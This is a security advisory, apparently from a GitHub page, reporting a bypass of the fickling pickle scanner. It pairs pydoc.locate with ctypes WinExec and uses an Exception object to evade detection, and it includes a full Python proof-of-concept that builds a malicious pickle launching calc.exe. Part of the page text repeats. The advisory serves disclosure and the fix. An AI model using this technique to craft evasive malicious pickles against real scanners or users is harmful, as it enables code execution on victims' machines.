Our assessment
We added pydoc and ctypes to our list of unsafe imports (b793563).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed).
Resolution: Call locate('ctypes.windll.kernel32.WinExec').
Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
0x-Apollyon Reporter
Our assessment
We added
pydocandctypesto our list of unsafe imports (b793563).Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed).
Resolution: Call locate('ctypes.windll.kernel32.WinExec').
Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
What fickling sees